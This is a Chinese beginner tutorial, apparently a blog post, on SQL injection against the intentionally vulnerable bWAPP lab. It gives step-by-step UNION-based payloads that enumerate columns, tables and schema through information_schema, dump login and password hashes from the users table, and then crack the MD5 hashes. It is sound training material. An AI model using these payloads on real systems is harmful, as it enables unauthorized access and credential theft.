bWAPP靶场 injection SQL Injection GET/Search

1 篇文章 0 订阅
1 篇文章 0 订阅

SQL

简单的sql注入:

示例:靶场 bWAPP练习 injection SQL Injection GET/Search

1.进入靶场环境 难度等级:low

 

 

2.测试分析,在搜索栏中随意输入字母,示例:

页面出现电影名称以及其他数据

3.测试漏洞

常用方法:

'(英文单引号)报错测试

and和or测试法

这里我们输入:

a'

页面报错:说明存在注入点

4.爆字段(数据表的列数)

order by 语句   #二分查找法

输入:

a’ order by 10#    //a可以为任意  10同理

页面出现报错 说明列数少于10列

说明列数大于5列 ,以此类推当我们在7到8之间时发现页面回显不一样 说明该表格只有7列

5.爆表(即获取当前数据表)

方法:union select联合注入

输入:

a' union select 1,2,3,4,5,6,7#

1到7为我们查出来的表中的所有列

我们可以把一些内置函数替换这几个数字,会得出我们想要的东西。

例如

查看当前数据库名 输入:

a'union select 1,database(),3,4,5,6,7#    

用 database() 替换了 2 原来数据 2 就会变成我们查找的数据库名字

内置函数:

system_user()         系统用户名
user()                用户名
current_user          当前用户名
session_user()        连接数据库的用户名
database()            数据库名
version()             MYSQL数据库版本
load_file()           MYSQL读取本地文件的函数
@@datadir             读取数据库路径
@@basedir             MYSQL 安装路径
@@version_compile_os  操作系统

开始暴数据表 输入:

a' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database()#

information_schema.tables 提供了关于数据库中的表的信息

table_schema 是数据库的名称

可以看到,爆出了5个表,其中users表是一个比较重要的表

6.获取后台账户和密码

先查看users表中的列的信息 输入:

a' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#c

column_name(s) 数据库表中所有列的名称,column_name是一个列名称

information_schema.columns提供了关于表中的列的信息

其中 login 和 password 应该为账号和密码 查出该信息

输入:

a' union select 1,login,password,4,5,6,7 from users#

得到 账号 密码(经过md5加密)

md5在线加密解密 加解密网站

最终得到 账号 密码

新手入门web SQL

bWAPP练习--injection篇SQL Injection (GET/Search) 参考大佬文献

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

盼一_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值